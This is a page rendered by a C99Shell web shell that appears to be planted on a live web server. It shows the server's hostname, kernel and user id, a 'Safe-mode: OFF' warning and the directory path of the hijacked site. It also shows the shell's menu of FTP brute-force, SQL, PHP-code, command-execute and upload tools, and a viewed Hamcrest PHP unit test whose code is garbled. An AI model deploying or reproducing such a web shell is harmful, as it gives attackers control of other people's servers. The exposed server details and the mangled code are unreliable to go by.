!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CombinableMatcherTest.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

class 
CombinableMatcherTest extends \Hamcrest\AbstractMatcherTest
{

    private 
$_either_3_or_4;
    private 
$_not_3_and_not_4;

    protected function 
setUp()
    {
        
$this->_either_3_or_4 \Hamcrest\Core\CombinableMatcher::either(equalTo(3))->orElse(equalTo(4));
        
$this->_not_3_and_not_4 \Hamcrest\Core\CombinableMatcher::both(not(equalTo(3)))->andAlso(not(equalTo(4)));
    }

    protected function 
createMatcher()
    {
        return 
\Hamcrest\Core\CombinableMatcher::either(equalTo('irrelevant'))->orElse(equalTo('ignored'));
    }

    public function 
testBothAcceptsAndRejects()
    {
        
assertThat(2$this->_not_3_and_not_4);
        
assertThat(3not($this->_not_3_and_not_4));
    }

    public function 
testAcceptsAndRejectsThreeAnds()
    {
        
$tripleAnd $this->_not_3_and_not_4->andAlso(equalTo(2));
        
assertThat(2$tripleAnd);
        
assertThat(3not($tripleAnd));
    }

    public function 
testBothDescribesItself()
    {
        
$this->assertEquals('(not <3> and not <4>)', (string) $this->_not_3_and_not_4);
        
$this->assertMismatchDescription('was <3>'$this->_not_3_and_not_43);
    }

    public function 
testEitherAcceptsAndRejects()
    {
        
assertThat(3$this->_either_3_or_4);
        
assertThat(6not($this->_either_3_or_4));
    }

    public function 
testAcceptsAndRejectsThreeOrs()
    {
        
$orTriple $this->_either_3_or_4->orElse(greaterThan(10));

        
assertThat(11$orTriple);
        
assertThat(9not($orTriple));
    }

    public function 
testEitherDescribesItself()
    {
        
$this->assertEquals('(<3> or <4>)', (string) $this->_either_3_or_4);
        
$this->assertMismatchDescription('was <6>'$this->_either_3_or_46);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--